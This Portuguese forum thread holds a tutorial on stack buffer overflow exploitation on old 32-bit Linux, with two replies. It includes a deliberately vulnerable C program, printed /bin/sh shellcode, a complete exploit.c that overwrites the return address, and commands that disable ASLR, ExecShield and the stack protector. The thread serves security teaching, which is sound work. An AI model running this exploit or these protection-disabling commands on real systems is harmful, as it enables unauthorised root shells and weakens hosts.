Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Exploiting Buffer Overflow

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Artigo Exploiting Buffer Overflow

    O que é a Pilha?

    Em poucas palavras, a pilha (stack) é um local reservado da memória (RAM) onde o programa armazena as variáveis locais de uma função e controla a execução de um programa. Um espaço específico da pilha reservado para uma função é chamada de stack frame.

    Cada elemento da pilha, assim como uma pilha de pratos, é colocado em cima do outro, e para a retirada é o processo inverso, retira-se os que estão em cima primeiro.

    Sendo assim o primeiro elemento colocado na pilha será o último a ser retirado, o termo utilizado para descrever isso é FILO (First In, Last Out). Em Assembly o comando PUSH insere elementos na pilha e o POP retira esses elementos.

    A memória utilizada por um programa é dividida em segmentos, dependendo da arquitetura do processador ou sistema operacional pode ser de 32 bits ou 64 bits por exemplo. Cada segmento tem um endereço e armazena algum tipo de informação. Um segmento de memória pode, por exemplo, ser endereçado em hexadecimal assim:

    Código:
    0xbffffffe
    Isso representa o endereço de um segmento de memória de 32 bits. Os endereços de memória na pilha crescem do endereço maior para o menor. Se um programa reserva 24 bytes de memória para variáveis locais, então seriam reservados esses seguimentos:

    Código:
    0xbfffffd8 – 4ª variável
    0xbfffffdc – 4ª  
    0xbfffffe0 – 4ª  
    0xbfffffe4 – 3ª variável
    0xbfffffe8 – 2ª variável
    0xbfffffec – 1ª variável
    A primeira variável inserida na pilha seria no endereço 0xbfffffec, a segunda em 0xbfffffe8 e a terceira em 0xbfffffe4, cada uma ocuparia apenas um segmento de memória caso tivessem 4 bytes de tamanho. Inserindo uma quarta variável de 12 bytes o endereço dela seria 0xbfffffd8 e ocuparia os 3 segmentos seguintes.

    Repetindo, a pilha cresce do endereço MAIOR para o MENOR.

    Registradores

    Registradores são locais no processador utilizados para armazenar dados temporariamente. Como estão dentro do processador o acesso a eles é muito mais rápido do que o acesso a memória RAM. Existem vários tipos de registradores, é interessante conhecermos alguns:

    EAX, EBX, ECX, EDX – Registradores de uso geral, utilizados para manipular dados.

    EBP – Extended Base Pointer, geralmente aponta para o início ou base da pilha.

    ESP – Extended Stack Pointer, aponta para o topo da pilha.

    EIP – Extended Instruction Pointer, aponta para o endereço da próxima instrução a ser executada.

    Construção de um Stack Frame

    Agora entenderemos como um stack frame é construído, ou seja, como é reservado um espaço na memória para uma função quando ela é chamada. É importante entender tudo isso porque depois a construção do exploit se tornará mais simples.

    Vamos utilizar a pilha criada anteriormente, imaginemos um programa com o seguinte código:

    Código:
    main(int argc, char *argv[]){
           exibir(argv[1]);
           printf(“OK”);
    }
    
    
    exibir(char *arg[]){
           char nome1[4], nome2[4], nome3[4];
           char nome4[12];
           strcpy(nome4, arg);
           …
    }
    Em (dis)assembly, uma representação simplificada desse código seria:

    Código:
    main:
    
    0x00400000     PUSH argv[1]
    0x00400004     CALL exibir
    0x00400008     PUSH “OK”
    0x0040000c     CALL printf
    
    exibir:
    
    0x004000c0     PUSH EBP
    0x004000c4     MOV EBP, ESP
    0x004000c8     SUB ESP, 18h
    0x004000cc     MOV EAX, [EBP+8]
    0x004000d0     MOV [EBP-18], EAX
    …
    …
    …
    0x004000e0     ADD ESP, 18h
    0x004000e4     MOV ESP, EBP
    0x004000e8     POP EBP
    0x004000ec     RET
    Na função “main” primeiro é colocado na pilha o parâmetro da função “exibir” com o comando PUSH e então é chamada a função com o CALL. Quando o CALL é executado sempre é PUSH'ado na pilha o endereço que está no registrador EIP, que vocês se lembram aponta para a próxima instrução a ser executada.

    No nosso programa o EIP armazenaria 0x00400008 que é a instrução após o CALL, isso é o endereço de retorno da função, para o programa saber de onde continuar depois que a função chamada terminar.

    Então a execução do programa é redirecionada para a função “exibir” que se inicia no endereço 0x004000c0. As três linhas inicias são conhecidas como function prologue, são as reponsáveis por configurar o espaço na pilha para a função. E as três últimas são chamadas de function epilogue que restauram os valores, desfaz a pilha.

    Graficamente será mais fácil de entender, vejamos como ficará nossa pilha após a execução da função “exibir”.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Como vemos, o EBP (base pointer) aponta para o início do stack frame da função e o ESP (stack pointer) aponta para o topo da pilha.

    Dentro da função “exibir” quando o programa quiser trabalhar com as variáveis locais, ele acessará por EBP-4 (nome1), EBP-8 (nome2), EBP-C (nome3) e EBP-18 (nome4). Quando quiser acessar a variável passada como parâmetro o endereço será EBP+8.

    Exemplo:

    MOV EAX, [EBP-C] // move o valor da variável nome3 para o registrador EAX
    MOV EBX, [EBP+8] // move o valor do parâmetro para o registrador EBX

    Lembre-se:
    EBP – XX = acesso a variável local
    EBP + XX = acesso a parâmetro da função

    Isso é muito útil quando fazemos engenharia reversa.

    Voltando para nossa pilha... A variável nome4 possui 12 bytes, se inserirmos nela 32 bytes vai ocorrer um buffer overflow, sobrescreverá tudo que estiver abaixo dela: as outras variáveis, o EBP e por fim o endereço de retorno (EIP), assim quando o programa tentar retornar vai encontrar um valor qualquer no EIP e não conseguirá continuar, vai travar. Isso é a Segmentation fault.

    Exploitation

    Um exploit se beneficia dessa capacidade de sobrescrever o endereço de retorno da função, ao invés de sobrescrevê-lo com um valor qualquer o exploit insere um valor minuciosamente calculado.

    Vamos comparar a pilha original com uma criada por um exploit.
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Na pilha do exploit, quando o programa buscar o endereço de retorno na pilha em 0xbffffff4, ele encontrará o valor 0xbfffffd8 e vai executá-lo voltando para o início da pilha, encontrará a instrução NOP (No-Operation, código 0x90), essa instrução como o próprio nome diz não faz nada, só pula para a instrução de baixo.

    A execução vai escorregando pelos NOPs, isso é chamado de NOP-Sled, até chegar na instrução “execute /bin/sh”, que no Linux fará com que execute o shell “sh”. O shell é executado e o atacante obtém o controle do sistema operacional podendo executar os comandos que quiser no sistema, se o programa explorado possuir permissão de root.

    Essa é a grande jogada de um exploit, explora e controla uma falha no programa (vulnerabilidade) para obter o controle do sistema ou executar o que desejar. Na prática o código não é tão simples assim mas a lógica é essa.

    Praticando os conceitos

    Agora vamos ver como tudo isso funciona na prática.

    Vou criar o programa vulneravel.c com esse código:

    Código:
    // vulneravel.c
    
    #include <stdio.h>
    
    void exibe(char arg[])
    {
     char buffer[64];
     strcpy(buffer, arg);
     printf("Voce digitou: %s\n",buffer);
    }
    
    int main(int argc, char *argv[])
    {
     exibe(argv[1]);
     return 0;
    }
    É um programa com uma vulnerabilidade de buffer overflow, a variável “buffer” possui 64 bytes de tamanho mas através do parâmetro podemos passar uma string do tamanho que quisermos, se a string for muito grande ocorrerá a Segmentation fault.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Vamos começar a construir nosso exploit para ele. Baseando-se na explicação anterior sobre a pilha do exploit, se a variável “buffer” possui 64 bytes, quantos bytes precisaríamos para sobrescrever a pilha e chegar até o endereço de retorno da função “exibe”?

    64 bytes (buffer) + 4 bytes (EBP) + 4 bytes (retorno) = 72 bytes

    Já sabemos o tamanho, agora precisamos descobrir em qual endereço da pilha será inserida a variável “buffer” pois utilizaremos esse endereço para sobrescrever o retorno original, no exemplo lembram que utilizamos o 0xbfffffd8 para retornar ao início da pilha.

    Existem várias maneiras de descobrir isso, a que eu achei mais fácil de entender e executar foi utilizando o GDB, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., é um debugger/disassembler assim como o OllyDbg, mas é para o Linux e executado na linha de comando.

    Primeiro compilamos nosso vulneravel.c com o comando:

    gcc -g -o vulneravel vulneravel.c

    A opção “-g” é para inserir mais informações de debugger no arquivo. Depois executamos o GDB chamando nosso programa com o comando:

    gdb -q ./vulneravel


    O “-q” é para omitir a mensagem de boas-vindas do programa. Depois usamos o comando “list” para exibir as linhas do programa, colocamos um breakpoint com o comando “break 6”, isto é, na 6ª linha, bem após a variável “buffer” receber seu valor.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Agora podemos executar o programa, vamos passar como parâmetro uma string com exatamente 64 bytes, ou 64 “A”s, o comando é:

    run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

    Dica: podemos utilizar o Perl para imprimir os 64 “A”s ao invés de digitar um por um, o comando ficaria:

    run $(perl -e “print 'A'x64”)

    A execução para bem no nosso breakpoint, uma maneira simples de descobrir em qual endereço está a variável “buffer” é executando:

    x/x buffer

    Significa: examine (x) a variável buffer e apresente o resultado em hexadecimal (x).

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Como podemos ver o resultado foi:

    0xbffffadc: 0x41414141

    A variável buffer está no endereço 0xbffffadc e contém 0x41414141, 0x41 é o código hexadecimal para a letra A, podem conferir na tabela ASCII.

    Agora já sabemos o tamanho do buffer para sobrescrever o endereço de retorno e o endereço da variável buffer, só nos resta saber como fazer o programa executar o shell “sh” do linux.

    No exemplo eu coloquei “execute /bin/sh”, mas o computador não entende isso, ele entende linguagem de máquina, temos que passar pra ele os comandos na linguagem que ele entende.

    Assim como ele sabe que o código hexadecimal 0x90 equivale ao NOP do Assembly, existem inúmeros outros códigos que representam os outros comandos, são chamados de opcodes.

    Os opcodes que iremos utilizar são esses:

    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\ xff/bin/sh#"

    Essa sequência é chamada de shellcode, ou seja, o código para se obter o shell, não vou explicar como ele é construído, isso renderia vamos posts, por enquanto basta sabermos que são códigos hexadecimais que representam a instrução “execute /bin/sh”.

    Já temos todas as informações necessárias para construir o exploit do nosso programa vulnerável, agora é só colocarmos tudo junto em um programa.

    O código-fonte do nosso exploit.c é esse:

    Código:
    // exploit.c
    
    #include <stdio.h>
    
    static char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";
    
    #define NOP 0x90   // codigo hex do NOP
    #define LEN 64+8   // tamanho do buffer para sobrescrever o retorno
    #define RET 0xbffffadc          // endereço de retorno do início do buffer
    
    int main()
    {
     char buffer[LEN]; // cria uma variavel com 72 bytes
     int i;
    
     for(i=0;i<LEN;i++)
      buffer[i]=NOP; // preenche a variavel inteira com NOPs
    
     // copia para a memoria a variavel com o shellcode no final dela,
     // só reservando os últimos 4 bytes para o endereço de retorno
     memcpy(&buffer[LEN-strlen(shellcode)-4], shellcode, strlen(shellcode));
     
     // copia para os 4 últimos bytes o endereço de retorno
     *(int*)(&buffer[LEN-4]) = RET;
    
     // executa o programa ./vulneravel passando como parametro a variavel buffer criada
     execlp("./vulneravel","./vulneravel",buffer,NULL);
    
     return 0;
    }
    Praticamente eu já expliquei tudo o que ele faz, vai sobrescrever a pilha com as informações previamente calculadas da mesma forma que foi demonstrado no exemplo anterior.

    Exploit compilado e chegamos no momento tão esperado, a execução do exploit!

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Perfeito! Tudo conforme planejamos, através de uma vulnerabilidade conseguimos obter o shell de um sistema, a partir disso teríamos o caminho livre para a exploração da máquina.

    Considerações finais

    Lembrando novamente que esse foi um ambiente controlado e propício para a exploração, utilizei a distro Debian 3.0 R4 e o gcc 2.95.4-14, que são versões bem antigas que ainda não tinham implementadas várias proteções contra exploração de stack overflow. As distros atuais possuem uma série de melhorias mas também é possível desabilitá-las para reproduzir os exemplos.

    A ideia do artigo é demonstrar a lógica de um exploit, isso não muda, e também servir como um ponto de partida para estudos mais avançados. Mesmo existindo as proteções sempre há falhas e meios de explorá-las. Cabe aos profissionais de segurança e desenvolvedores de softwares conhecê-las para melhor proteger seus sistemas.

    Espero que tenham gostado, dúvidas só deixar um comentário.

    Para reproduzir os exemplos desse artigo em distribuições Linux mais atuais é necessário desativar algumas proteções, faça o seguinte:

    - Debian e Ubuntu based, desativar ASLR:
    echo 0 > /proc/sys/kernel/randomize_va_space

    - Red Hat based, desativar ASLR e DEP (ExecShield):
    echo 0 > /proc/sys/kernel/exec-shield-randomize

    echo 0 > /proc/sys/kernel/exec-shield

    - GCC a partir da versão 4.1 compilar com diretiva -fno-stack-protector, exemplo:
    gcc -fno-stack-protector -o overflow overflow.c

    Fiz o teste no Debian 5.0.3 com GCC 4.3.2-2 e funcionou corretamente.

    Ronaldo Lima
    crimesciberneticos.com



    areax@hotmail.com



    Similar Threads

  • Font Size
    #2
    Esse sim é um tutorial introdutório interessante sobre buffer overflow.
    Vale lembrar que as ABIs dependem da plataforma,processador e calling convention do C.As ABIs do tutorial são válidas para processadores 686 em plataformas como Windows,Linux e podem ser usadas com a calling convention cdecl (padrão).
    No caso o endereço também já está alinhado,mas no calculo o endereço também tem que ser alinhado,que é feito convertendo-o a uma potencia de 2.O tamanho dos registradores assim como a distancia do parametro ao EIP também deve ser considerado.

    Comment


    • Font Size
      #3
      é muito bom post pra galera que ta começando aí, mas na vida real tem que da um jeito de burlar DEP ou ASRL né, bem que voçê podia continuar esta onda e criar um tópico sobre a técnica Return Into Libc, que é usada para contornar essas proteções, pois seus posts estão de parabéns cara.

      Bjss ;D

      Comment

      X
      Working...
      X